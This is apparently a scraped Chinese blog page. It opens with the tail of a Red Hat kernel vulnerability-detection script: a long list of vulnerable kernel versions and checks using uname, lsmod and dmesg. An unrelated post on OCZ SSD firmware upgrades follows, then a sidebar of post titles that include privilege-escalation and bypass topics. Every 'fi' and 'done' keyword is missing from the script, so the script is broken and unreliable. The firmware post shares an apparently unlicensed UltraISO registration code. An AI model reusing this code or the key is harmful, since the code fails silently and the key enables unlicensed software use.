"2.6.18-164.30.1.el5"

"2.6.18-164.32.1.el5"

"2.6.18-164.34.1.el5"

"2.6.18-164.36.1.el5"

"2.6.18-164.37.1.el5"

"2.6.18-164.38.1.el5"

"2.6.18-194.el5"

"2.6.18-194.3.1.el5"

"2.6.18-194.8.1.el5"

"2.6.18-194.11.1.el5"

"2.6.18-194.11.3.el5"

"2.6.18-194.11.4.el5"

"2.6.18-194.17.1.el5"

"2.6.18-194.17.4.el5"

"2.6.18-194.26.1.el5"

"2.6.18-194.32.1.el5"

"2.6.18-238.el5"

"2.6.18-238.1.1.el5"

"2.6.18-238.5.1.el5"

"2.6.18-238.9.1.el5"

"2.6.18-238.12.1.el5"

"2.6.18-238.19.1.el5"

"2.6.18-238.21.1.el5"

"2.6.18-238.27.1.el5"

"2.6.18-238.28.1.el5"

"2.6.18-238.31.1.el5"

"2.6.18-238.33.1.el5"

"2.6.18-238.35.1.el5"

"2.6.18-238.37.1.el5"

"2.6.18-238.39.1.el5"

"2.6.18-238.40.1.el5"

"2.6.18-238.44.1.el5"

"2.6.18-238.45.1.el5"

"2.6.18-238.47.1.el5"

"2.6.18-238.48.1.el5"

"2.6.18-238.49.1.el5"

"2.6.18-238.50.1.el5"

"2.6.18-238.51.1.el5"

"2.6.18-238.52.1.el5"

"2.6.18-238.53.1.el5"

"2.6.18-238.54.1.el5"

"2.6.18-238.55.1.el5"

"2.6.18-238.56.1.el5"

"2.6.18-274.el5"

"2.6.18-274.3.1.el5"

"2.6.18-274.7.1.el5"

"2.6.18-274.12.1.el5"

"2.6.18-274.17.1.el5"

"2.6.18-274.18.1.el5"

"2.6.18-308.el5"

"2.6.18-308.1.1.el5"

"2.6.18-308.4.1.el5"

"2.6.18-308.8.1.el5"

"2.6.18-308.8.2.el5"

"2.6.18-308.11.1.el5"

"2.6.18-308.13.1.el5"

"2.6.18-308.16.1.el5"

"2.6.18-308.20.1.el5"

"2.6.18-308.24.1.el5"

"2.6.18-348.el5"

"2.6.18-348.1.1.el5"

"2.6.18-348.2.1.el5"

"2.6.18-348.3.1.el5"

"2.6.18-348.4.1.el5"

"2.6.18-348.6.1.el5"

"2.6.18-348.12.1.el5"

"2.6.18-348.16.1.el5"

"2.6.18-348.18.1.el5"

"2.6.18-348.19.1.el5"

"2.6.18-348.21.1.el5"

"2.6.18-348.22.1.el5"

"2.6.18-348.23.1.el5"

"2.6.18-348.25.1.el5"

"2.6.18-348.27.1.el5"

"2.6.18-348.28.1.el5"

"2.6.18-348.29.1.el5"

"2.6.18-348.30.1.el5"

"2.6.18-348.31.2.el5"

"2.6.18-371.el5"

"2.6.18-371.1.2.el5"

"2.6.18-371.3.1.el5"

"2.6.18-371.4.1.el5"

"2.6.18-371.6.1.el5"

"2.6.18-371.8.1.el5"

"2.6.18-371.9.1.el5"

"2.6.18-371.11.1.el5"

"2.6.18-371.12.1.el5"

"2.6.18-398.el5"

"2.6.18-400.el5"

"2.6.18-400.1.1.el5"

"2.6.18-402.el5"

"2.6.18-404.el5"

"2.6.18-406.el5"

"2.6.18-407.el5"

"2.6.18-408.el5"

"2.6.18-409.el5"

"2.6.18-410.el5"

"2.6.18-411.el5"

"2.6.18-412.el5"

# RHEL6

"2.6.32-71.7.1.el6"

"2.6.32-71.14.1.el6"

"2.6.32-71.18.1.el6"

"2.6.32-71.18.2.el6"

"2.6.32-71.24.1.el6"

"2.6.32-71.29.1.el6"

"2.6.32-71.31.1.el6"

"2.6.32-71.34.1.el6"

"2.6.32-71.35.1.el6"

"2.6.32-71.36.1.el6"

"2.6.32-71.37.1.el6"

"2.6.32-71.38.1.el6"

"2.6.32-71.39.1.el6"

"2.6.32-71.40.1.el6"

"2.6.32-131.0.15.el6"

"2.6.32-131.2.1.el6"

"2.6.32-131.4.1.el6"

"2.6.32-131.6.1.el6"

"2.6.32-131.12.1.el6"

"2.6.32-131.17.1.el6"

"2.6.32-131.21.1.el6"

"2.6.32-131.22.1.el6"

"2.6.32-131.25.1.el6"

"2.6.32-131.26.1.el6"

"2.6.32-131.28.1.el6"

"2.6.32-131.29.1.el6"

"2.6.32-131.30.1.el6"

"2.6.32-131.30.2.el6"

"2.6.32-131.33.1.el6"

"2.6.32-131.35.1.el6"

"2.6.32-131.36.1.el6"

"2.6.32-131.37.1.el6"

"2.6.32-131.38.1.el6"

"2.6.32-131.39.1.el6"

"2.6.32-220.el6"

"2.6.32-220.2.1.el6"

"2.6.32-220.4.1.el6"

"2.6.32-220.4.2.el6"

"2.6.32-220.4.7.bgq.el6"

"2.6.32-220.7.1.el6"

"2.6.32-220.7.3.p7ih.el6"

"2.6.32-220.7.4.p7ih.el6"

"2.6.32-220.7.6.p7ih.el6"

"2.6.32-220.7.7.p7ih.el6"

"2.6.32-220.13.1.el6"

"2.6.32-220.17.1.el6"

"2.6.32-220.23.1.el6"

"2.6.32-220.24.1.el6"

"2.6.32-220.25.1.el6"

"2.6.32-220.26.1.el6"

"2.6.32-220.28.1.el6"

"2.6.32-220.30.1.el6"

"2.6.32-220.31.1.el6"

"2.6.32-220.32.1.el6"

"2.6.32-220.34.1.el6"

"2.6.32-220.34.2.el6"

"2.6.32-220.38.1.el6"

"2.6.32-220.39.1.el6"

"2.6.32-220.41.1.el6"

"2.6.32-220.42.1.el6"

"2.6.32-220.45.1.el6"

"2.6.32-220.46.1.el6"

"2.6.32-220.48.1.el6"

"2.6.32-220.51.1.el6"

"2.6.32-220.52.1.el6"

"2.6.32-220.53.1.el6"

"2.6.32-220.54.1.el6"

"2.6.32-220.55.1.el6"

"2.6.32-220.56.1.el6"

"2.6.32-220.57.1.el6"

"2.6.32-220.58.1.el6"

"2.6.32-220.60.2.el6"

"2.6.32-220.62.1.el6"

"2.6.32-220.63.2.el6"

"2.6.32-220.64.1.el6"

"2.6.32-220.65.1.el6"

"2.6.32-220.66.1.el6"

"2.6.32-220.67.1.el6"

"2.6.32-279.el6"

"2.6.32-279.1.1.el6"

"2.6.32-279.2.1.el6"

"2.6.32-279.5.1.el6"

"2.6.32-279.5.2.el6"

"2.6.32-279.9.1.el6"

"2.6.32-279.11.1.el6"

"2.6.32-279.14.1.bgq.el6"

"2.6.32-279.14.1.el6"

"2.6.32-279.19.1.el6"

"2.6.32-279.22.1.el6"

"2.6.32-279.23.1.el6"

"2.6.32-279.25.1.el6"

"2.6.32-279.25.2.el6"

"2.6.32-279.31.1.el6"

"2.6.32-279.33.1.el6"

"2.6.32-279.34.1.el6"

"2.6.32-279.37.2.el6"

"2.6.32-279.39.1.el6"

"2.6.32-279.41.1.el6"

"2.6.32-279.42.1.el6"

"2.6.32-279.43.1.el6"

"2.6.32-279.43.2.el6"

"2.6.32-279.46.1.el6"

"2.6.32-358.el6"

"2.6.32-358.0.1.el6"

"2.6.32-358.2.1.el6"

"2.6.32-358.6.1.el6"

"2.6.32-358.6.2.el6"

"2.6.32-358.6.3.p7ih.el6"

"2.6.32-358.11.1.bgq.el6"

"2.6.32-358.11.1.el6"

"2.6.32-358.14.1.el6"

"2.6.32-358.18.1.el6"

"2.6.32-358.23.2.el6"

"2.6.32-358.28.1.el6"

"2.6.32-358.32.3.el6"

"2.6.32-358.37.1.el6"

"2.6.32-358.41.1.el6"

"2.6.32-358.44.1.el6"

"2.6.32-358.46.1.el6"

"2.6.32-358.46.2.el6"

"2.6.32-358.48.1.el6"

"2.6.32-358.49.1.el6"

"2.6.32-358.51.1.el6"

"2.6.32-358.51.2.el6"

"2.6.32-358.55.1.el6"

"2.6.32-358.56.1.el6"

"2.6.32-358.59.1.el6"

"2.6.32-358.61.1.el6"

"2.6.32-358.62.1.el6"

"2.6.32-358.65.1.el6"

"2.6.32-358.67.1.el6"

"2.6.32-358.68.1.el6"

"2.6.32-358.69.1.el6"

"2.6.32-358.70.1.el6"

"2.6.32-358.71.1.el6"

"2.6.32-358.72.1.el6"

"2.6.32-358.73.1.el6"

"2.6.32-358.111.1.openstack.el6"

"2.6.32-358.114.1.openstack.el6"

"2.6.32-358.118.1.openstack.el6"

"2.6.32-358.123.4.openstack.el6"

"2.6.32-431.el6"

"2.6.32-431.1.1.bgq.el6"

"2.6.32-431.1.2.el6"

"2.6.32-431.3.1.el6"

"2.6.32-431.5.1.el6"

"2.6.32-431.11.2.el6"

"2.6.32-431.17.1.el6"

"2.6.32-431.20.3.el6"

"2.6.32-431.20.5.el6"

"2.6.32-431.23.3.el6"

"2.6.32-431.29.2.el6"

"2.6.32-431.37.1.el6"

"2.6.32-431.40.1.el6"

"2.6.32-431.40.2.el6"

"2.6.32-431.46.2.el6"

"2.6.32-431.50.1.el6"

"2.6.32-431.53.2.el6"

"2.6.32-431.56.1.el6"

"2.6.32-431.59.1.el6"

"2.6.32-431.61.2.el6"

"2.6.32-431.64.1.el6"

"2.6.32-431.66.1.el6"

"2.6.32-431.68.1.el6"

"2.6.32-431.69.1.el6"

"2.6.32-431.70.1.el6"

"2.6.32-431.71.1.el6"

"2.6.32-431.72.1.el6"

"2.6.32-431.73.2.el6"

"2.6.32-431.74.1.el6"

"2.6.32-504.el6"

"2.6.32-504.1.3.el6"

"2.6.32-504.3.3.el6"

"2.6.32-504.8.1.el6"

"2.6.32-504.8.2.bgq.el6"

"2.6.32-504.12.2.el6"

"2.6.32-504.16.2.el6"

"2.6.32-504.23.4.el6"

"2.6.32-504.30.3.el6"

"2.6.32-504.30.5.p7ih.el6"

"2.6.32-504.33.2.el6"

"2.6.32-504.36.1.el6"

"2.6.32-504.38.1.el6"

"2.6.32-504.40.1.el6"

"2.6.32-504.43.1.el6"

"2.6.32-504.46.1.el6"

"2.6.32-504.49.1.el6"

"2.6.32-504.50.1.el6"

"2.6.32-504.51.1.el6"

"2.6.32-504.52.1.el6"

"2.6.32-573.el6"

"2.6.32-573.1.1.el6"

"2.6.32-573.3.1.el6"

"2.6.32-573.4.2.bgq.el6"

"2.6.32-573.7.1.el6"

"2.6.32-573.8.1.el6"

"2.6.32-573.12.1.el6"

"2.6.32-573.18.1.el6"

"2.6.32-573.22.1.el6"

"2.6.32-573.26.1.el6"

"2.6.32-573.30.1.el6"

"2.6.32-573.32.1.el6"

"2.6.32-573.34.1.el6"

"2.6.32-642.el6"

"2.6.32-642.1.1.el6"

"2.6.32-642.3.1.el6"

"2.6.32-642.4.2.el6"

"2.6.32-642.6.1.el6"

# RHEL7

"3.10.0-123.el7"

"3.10.0-123.1.2.el7"

"3.10.0-123.4.2.el7"

"3.10.0-123.4.4.el7"

"3.10.0-123.6.3.el7"

"3.10.0-123.8.1.el7"

"3.10.0-123.9.2.el7"

"3.10.0-123.9.3.el7"

"3.10.0-123.13.1.el7"

"3.10.0-123.13.2.el7"

"3.10.0-123.20.1.el7"

"3.10.0-229.el7"

"3.10.0-229.1.2.el7"

"3.10.0-229.4.2.el7"

"3.10.0-229.7.2.el7"

"3.10.0-229.11.1.el7"

"3.10.0-229.14.1.el7"

"3.10.0-229.20.1.el7"

"2.10.0-229.24.2.el7"

"2.10.0-229.26.2.el7"

"2.10.0-229.28.1.el7"

"2.10.0-229.30.1.el7"

"2.10.0-229.34.1.el7"

"2.10.0-229.38.1.el7"

"2.10.0-229.40.1.el7"

"2.10.0-229.42.1.el7"

"3.10.0-327.el7"

"3.10.0-327.3.1.el7"

"3.10.0-327.4.4.el7"

"3.10.0-327.4.5.el7"

"3.10.0-327.10.1.el7"

"3.10.0-327.13.1.el7"

"3.10.0-327.18.2.el7"

"3.10.0-327.22.2.el7"

"3.10.0-327.28.2.el7"

"3.10.0-327.28.3.el7"

"3.10.0-327.36.1.el7"

"3.10.0-327.36.2.el7"

"3.10.0-229.1.2.ael7b"

"3.10.0-229.4.2.ael7b"

"3.10.0-229.7.2.ael7b"

"3.10.0-229.11.1.ael7b"

"3.10.0-229.14.1.ael7b"

"3.10.0-229.20.1.ael7b"

"3.10.0-229.24.2.ael7b"

"3.10.0-229.26.2.ael7b"

"3.10.0-229.28.1.ael7b"

"3.10.0-229.30.1.ael7b"

"3.10.0-229.34.1.ael7b"

"3.10.0-229.38.1.ael7b"

"3.10.0-229.40.1.ael7b"

"3.10.0-229.42.1.ael7b"

"4.2.0-0.21.el7"

# RHEL5

"2.6.24.7-74.el5rt"

"2.6.24.7-81.el5rt"

"2.6.24.7-93.el5rt"

"2.6.24.7-101.el5rt"

"2.6.24.7-108.el5rt"

"2.6.24.7-111.el5rt"

"2.6.24.7-117.el5rt"

"2.6.24.7-126.el5rt"

"2.6.24.7-132.el5rt"

"2.6.24.7-137.el5rt"

"2.6.24.7-139.el5rt"

"2.6.24.7-146.el5rt"

"2.6.24.7-149.el5rt"

"2.6.24.7-161.el5rt"

"2.6.24.7-169.el5rt"

"2.6.33.7-rt29.45.el5rt"

"2.6.33.7-rt29.47.el5rt"

"2.6.33.7-rt29.55.el5rt"

"2.6.33.9-rt31.64.el5rt"

"2.6.33.9-rt31.67.el5rt"

"2.6.33.9-rt31.86.el5rt"

# RHEL6

"2.6.33.9-rt31.66.el6rt"

"2.6.33.9-rt31.74.el6rt"

"2.6.33.9-rt31.75.el6rt"

"2.6.33.9-rt31.79.el6rt"

"3.0.9-rt26.45.el6rt"

"3.0.9-rt26.46.el6rt"

"3.0.18-rt34.53.el6rt"

"3.0.25-rt44.57.el6rt"

"3.0.30-rt50.62.el6rt"

"3.0.36-rt57.66.el6rt"

"3.2.23-rt37.56.el6rt"

"3.2.33-rt50.66.el6rt"

"3.6.11-rt28.20.el6rt"

"3.6.11-rt30.25.el6rt"

"3.6.11.2-rt33.39.el6rt"

"3.6.11.5-rt37.55.el6rt"

"3.8.13-rt14.20.el6rt"

"3.8.13-rt14.25.el6rt"

"3.8.13-rt27.33.el6rt"

"3.8.13-rt27.34.el6rt"

"3.8.13-rt27.40.el6rt"

"2.10.0-229.rt56.144.el6rt"

"2.10.0-229.rt56.147.el6rt"

"2.10.0-229.rt56.149.el6rt"

"2.10.0-229.rt56.151.el6rt"

"2.10.0-229.rt56.153.el6rt"

"2.10.0-229.rt56.158.el6rt"

"2.10.0-229.rt56.161.el6rt"

"2.10.0-229.rt56.162.el6rt"

"2.10.0-327.rt56.170.el6rt"

"2.10.0-327.rt56.171.el6rt"

"2.10.0-327.rt56.176.el6rt"

"2.10.0-327.rt56.183.el6rt"

"2.10.0-327.rt56.190.el6rt"

"2.10.0-327.rt56.194.el6rt"

"2.10.0-327.rt56.195.el6rt"

"2.10.0-327.rt56.197.el6rt"

"3.10.33-rt32.33.el6rt"

"3.10.33-rt32.34.el6rt"

"3.10.33-rt32.43.el6rt"

"3.10.33-rt32.45.el6rt"

"3.10.33-rt32.51.el6rt"

"3.10.33-rt32.52.el6rt"

"3.10.58-rt62.58.el6rt"

"3.10.58-rt62.60.el6rt"

# RHEL7

"3.10.0-229.rt56.141.el7"

"3.10.0-229.1.2.rt56.141.2.el7_1"

"3.10.0-229.4.2.rt56.141.6.el7_1"

"3.10.0-229.7.2.rt56.141.6.el7_1"

"3.10.0-229.11.1.rt56.141.11.el7_1"

"3.10.0-229.14.1.rt56.141.13.el7_1"

"3.10.0-229.20.1.rt56.141.14.el7_1"

"3.10.0-229.rt56.141.el7"

"3.10.0-327.rt56.204.el7"

"3.10.0-327.4.5.rt56.206.el7_2"

"3.10.0-327.10.1.rt56.211.el7_2"

"3.10.0-327.13.1.rt56.216.el7_2"

"3.10.0-327.18.2.rt56.223.el7_2"

"3.10.0-327.22.2.rt56.230.el7_2"

"3.10.0-327.28.2.rt56.234.el7_2"

"3.10.0-327.28.3.rt56.235.el7"

"3.10.0-327.36.1.rt56.237.el7"

)

KPATCH_MODULE_NAMES=(

"kpatch_3_10_0_327_36_1_1_1"

"kpatch_3_10_0_327_36_2_1_1"

)

running_kernel=$( uname -r )

# Check supported platform

if [[ "$running_kernel" != *".el"[5-7]* ]]; then

echo -e "${RED}This script is only meant to detect vulnerable kernels on Red Hat Enterprise Linux 5, 6 and 7.${RESET}"

exit 4

# Check kernel if it is vulnerable

for tested_kernel in "${VULNERABLE_VERSIONS[@]}"; do

if [[ "$running_kernel" == *"$tested_kernel"* ]]; then

vulnerable_kernel=${running_kernel}

break

done

# Check if kpatch is installed

modules=$( lsmod )

for tested_kpatch in "${KPATCH_MODULE_NAMES[@]}"; do

if [[ "$modules" == *"$tested_kpatch"* ]]; then

applied_kpatch=${tested_kpatch}

break

done

# Check mitigation

mitigated=0

while read -r line; do

if [[ "$line" == *"$MITIGATION_ON"* ]]; then

mitigated=1

elif [[ "$line" == *"$MITIGATION_OFF"* ]]; then

mitigated=0

done < <( dmesg )

# Result interpretation

result=${VULNERABLE}

if (( mitigated )); then

result=${MITIGATED}

if [[ ! "$vulnerable_kernel" ]]; then

result=${SAFE_KERNEL}

elif [[ "$applied_kpatch" ]]; then

result=${SAFE_KPATCH}

# Print result

if [[ ${result} == "$SAFE_KERNEL" ]]; then

echo -e "${GREEN}Your kernel is ${RESET}$running_kernel${GREEN} which is NOT vulnerable.${RESET}"

exit 0

elif [[ ${result} == "$SAFE_KPATCH" ]]; then

echo -e "Your kernel is $running_kernel which is normally vulnerable."

echo -e "${GREEN}However, you have kpatch ${RESET}$applied_kpatch${GREEN} applied, which fixes the vulnerability.${RESET}"

exit 1

elif [[ ${result} == "$MITIGATED" ]]; then

echo -e "${YELLOW}Your kernel is ${RESET}$running_kernel${YELLOW} which IS vulnerable.${RESET}"

echo -e "${YELLOW}You have a partial mitigation applied.${RESET}"

echo -e "This mitigation protects against most common attack vectors which are already exploited in the wild,"

echo -e "but does not protect against all possible attack vectors."

echo -e "Red Hat recommends that you update your kernel as soon as possible."

exit 2

else

echo -e "${RED}Your kernel is ${RESET}$running_kernel${RED} which IS vulnerable.${RESET}"

echo -e "Red Hat recommends that you update your kernel. Alternatively, you can apply partial"

echo -e "mitigation described at https://access.redhat.com/security/vulnerabilities/2706661 ."

exit 3

（饥饿鲨）OCZSSD2-1VTXPL60G 固态硬盘固件升级过程

14 12月 2011 | category

学习笔记

已关闭评论

准备工作

U盘一个大小1G肯定是够用了

下载官网升级固件：http://www.ocztechnology.com/ssd_tools/OCZ_Vertex_Plus/

目前最新的Vertex plus固件是3.55

下载Ultraiso软件（用来制作启动U盘的）http://www.crsky.com/soft/1134.html

<span style="font-family:微软雅黑">注册码：</span>王涛7C81-1689-4046-626F

1 2	<span style="font-family:微软雅黑">注册码：</span>王涛7C81-1689-4046-626F

制作启动U盘

将U盘插入到电脑中，打开Ultraiso（Windows7下要以管理员权限运行），打开刚刚下载的官网固件的镜像文件。

打开后选择”启动－写入硬盘映像”

然后默认写入就OK了。等写入完成后一个U盘启动映像就做好了。

设置主板

进入到主板BIOS将硬盘的连接模式设置为AHCI，并将U盘设置为第一启动项，这个大家可以参考一下主板说明。设置完成后就可以开始升级了。

开始升级

重启电脑，这时电脑会进入U盘的升级程序，选择相应的固态硬盘驱动器的选项号，这时软件会自动搜索SSD盘，当出现Do you want to 这样的提示的时候选择Y就可以了，注意这里选择Y回车后不要进行其它的操作，程序会自己帮你搜索合适的升级文件，等找到合适的升级文件后，再选择相应的数字就OK了，没多久你就会看到Successful成功的提示，拔掉U盘重启电脑就OK了。（注意，如果重启后无法进入系统，将主板BIOS的硬盘模式重新设置回原来的就可以了）

Author: 坏人咖啡

Posts by 坏人咖啡

清除rdp连接记录批处理命令

为邮件服务器MX、SPF、DKIM 、rDNS、等记录

做英文站的一些相关网站自行研究吧~！

利用nginx提权

php disable_functions bypass姿势

dirtcow提权脚本

dirtcow漏洞检测脚本

（饥饿鲨）OCZSSD2-1VTXPL60G 固态硬盘固件升级过程

文章分类

热门标签

随机文章

文章归档

Users